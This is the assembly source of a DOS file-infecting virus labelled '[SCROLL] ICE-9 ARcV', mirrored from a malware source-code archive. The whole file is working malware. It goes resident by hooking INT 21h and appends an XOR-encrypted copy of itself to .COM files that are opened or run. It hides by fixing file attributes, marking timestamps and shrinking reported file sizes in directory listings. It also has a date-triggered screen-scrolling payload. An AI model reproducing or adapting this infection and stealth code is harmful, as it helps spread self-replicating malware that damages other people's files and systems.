mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
426 lines
13 KiB
NASM
426 lines
13 KiB
NASM
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NAME XX2
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PAGE 55,132
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TITLE ?????
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len equ offset handle-offset main2
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enlen1 equ offset int21-offset main3
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code segment
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ASSUME CS:CODE,DS:CODE,ES:CODE
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org 100h
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main: xor si,si
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call level1
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jmp main2
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dd 0h
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main2: call level1
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jmp main3
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int24 dd 0h
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level1: call nextline
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nextline: pop ax
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xchg si,ax
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sub si,offset nextline
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lea di,(main3+si)
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mov cx,enlen1
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uncry1: xor byte ptr ds:[di],01h
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key: inc di
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loop uncry1
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ret
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main3: lea ax,(oldstart+si)
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mov di,0100h
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mov cx,2
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xchg si,ax
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cld
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repz movsw
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xchg si,ax
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mov cs:[scrolrq],00h
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mov ax,0f307h
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int 21h
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cmp ax,0cf9h
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je run_old
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jmp instal
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run_old: mov ax,cs
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mov ds,ax
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mov es,ax
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mov ax,0100h
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jmp ax
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instal: xor ax,ax ; Residency Routine
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push ax
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mov ax,es
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dec ax
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mov es,ax
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pop ds
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cmp byte ptr es:[0],5ah
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jne run_old
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mov ax,es:[3]
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sub ax,0bch
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jb run_old
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mov es:[3],ax
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sub word ptr es:[12h],0bch
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mov es,es:[12h]
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push ds
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push cs
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pop ds
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mov di,offset main2
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lea ax,(main2+si)
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xchg si,ax
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mov cx,len
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cld
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repz movsb
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pop ds
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xchg si,ax
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mov ah,2ah
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int 21h
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cmp cx,1993
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jb instal_int21
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cmp dl,3
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jne instal_int21
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cmp al,4h
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jne instal_int21
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jmp instal_scrol
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instal_int21: xor ax,ax
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mov ds,ax
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mov ax,ds:[0084h]
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mov bx,ds:[0086h]
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mov word ptr es:[int21],ax
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mov word ptr es:[int21+2],bx
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cli
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mov ds:[0084h],offset new21
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mov ds:[0086h],es
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sti
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push cs
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pop es
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jmp run_old
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; Int 1ch Handler
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new1c: inc word ptr cs:[count]
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cmp word ptr cs:[count],1554h
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jb chain_1c
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push ax
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push dx
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push ds
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xor ax,ax
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mov ds,ax
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mov dx,word ptr ds:[0463h]
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in al,dx
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push ax
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mov al,8
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out dx,al
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inc dx
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in al,dx
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mov ah,al
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inc ah
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and ah,0fh
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and al,0f0h
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or al,ah
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out dx,al
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pop ax
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dec dx
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out dx,al
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pop ds
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pop dx
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pop ax
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chain_1c: jmp cs:[int1c]
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int1c dd 0h
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count dw 0h
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scrolrq db 0h
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; Int 21h Handler
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adjust_fcb: push bx
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push es
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push ax
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mov ah,2fh
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call i21
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pop ax
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call i21
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push ax
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cmp al,0ffh
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je not_fcb_adjust
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cmp byte ptr es:[bx],0ffh
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jne normal_fcb
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add bx,7
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normal_fcb: mov al,byte ptr es:[bx+17h]
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and al,1fh
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cmp al,1fh
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jne not_fcb_adjust
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sub es:[bx+1dh],len
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not_fcb_adjust: pop ax
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pop es
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pop bx
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retf 2
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check_fcb: cmp ah,11h
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je adjust_fcb
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cmp ah,12h
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je adjust_fcb
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jmp check_infect
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new21: cmp ax,0f307h
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jne check_for_handle
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neg ax
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retf 2
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check_for_handle: cmp ah,4eh
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jb check_fcb
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cmp ah,4fh
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ja check_infect
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jmp adjust
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chain_21: jmp cs:[int21]
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check_infect: cmp byte ptr cs:[scrolrq],0ffh
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je chain_21
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cmp ah,3dh
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je open_request
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cmp ah,4bh
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je open_request
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jmp chain_21
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open_request: push ax
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push bx
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push cx
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push dx
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push es
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push bp
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push di
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push ds
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mov di,dx
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mov cx,6fh
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next_byte: cmp ds:[di],'C.'
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jne inc_pointer
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cmp ds:[di+2],'MO'
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jne inc_pointer
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cmp byte ptr ds:[di+4],00h
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jne inc_pointer
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jmp infect_it
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inc_pointer: inc di
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loop next_byte
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exit_21: pop ds
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pop di
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pop bp
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pop es
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pop dx
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pop cx
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pop bx
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pop ax
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jmp chain_21
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infect_it:
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mov bp,sp
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mov dx,ss:[bp+8]
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mov ax,4300h
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call i21
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mov cs:[file_attr],cx
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and cx,01fh
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cmp cx,2
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jae exit_21
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xor cx,cx
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mov ax,4301h
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call i21
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open_file: mov ax,3d02h
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call i21
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jc exit_21
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mov cs:[handle],ax
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mov ax,cs
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mov ds,ax
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mov es,ax
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mov ax,5700h
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call file_int21
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mov ds:[file_time],cx
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mov ds:[file_date],dx
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mov ah,3fh
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mov dx,offset oldstart
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mov cx,4h
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call file_int21
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mov ax,4200h
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xor cx,cx
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mov dx,word ptr ds:[oldstart+1]
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add dx,3
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call file_int21
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mov ah,3fh
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mov dx,offset buff
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mov cx,5
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call file_int21
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mov di,offset buff
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mov si,offset main2
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mov cx,5
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cld
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compare_next: repz cmpsb
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je close_21
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no_marker: mov ax,4202h
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xor cx,cx
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mov dx,cx
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call file_int21
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cmp ax,0fd00h-len
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ja close_21
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sub ax,3
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mov word ptr ds:[jump+1],ax
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call encry_and_save
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mov ax,4200h
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xor cx,cx
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mov dx,cx
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call file_int21
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mov ah,40h
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mov cx,3
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mov dx,offset jump
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call file_int21
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mov cx,ds:[file_time]
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or cl,01fh
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mov dx,ds:[file_date]
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mov ax,5701h
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call file_int21
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mov dx,ss:[bp+8]
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pop ds
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push ds
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mov ax,4301h
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mov cx,cs:[file_attr]
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call i21
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close_21: mov ah,3eh
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call file_int21
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jmp exit_21
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instal_scrol: push es
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mov ah,12h
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mov bx,2210h
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int 10h
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pop es
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cmp bx,2210h
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jne change_int8
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jmp instal_int21
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adjust: push es
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push bx
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push ax
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mov ah,2fh
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call i21
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pop ax
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call i21
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pushf
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push ax
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jc ret_from_inter
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mov ah,byte ptr es:[bx+16h]
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and ah,01fh
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cmp ah,01fh
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jne ret_from_inter
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sub word ptr es:[bx+1ah],len
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ret_from_inter: pop ax
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popf
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pop bx
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pop es
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retf 2
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file_int21: mov bx,cs:[handle]
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i21: pushf
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call cs:[int21]
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ret
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change_int8: mov ax,351ch
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push es
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int 21h
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pop ds
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mov word ptr ds:[int1c],bx
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mov word ptr ds:[int1c+2],es
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mov ax,251ch
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mov dx,offset new1c
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int 21h
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push ds
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pop es
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mov byte ptr ds:[scrolrq],0ffh
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jmp instal_int21
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; Data Area
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info db '[SCROLL]',00h
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db 'ICE-9'
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db ' ARcV',00h
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oldstart: mov ah,4ch
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int 21h
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jump db 0e9h,00h,00h
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command db '\COMMAND.COM',00h
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int21 dd 0h
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encry_and_save: cli
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call level1
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mov ah,40h
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mov cx,len
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mov bx,ds:[handle]
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mov dx,offset main2
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pushf
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call cs:[int21]
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call level1
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add byte ptr cs:[key-1],2
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sti
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ret
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handle dw 0h
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file_time dw 0h
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file_date dw 0h
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file_attr dw 0h
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buff db 70h dup (?)
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code ends
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end main
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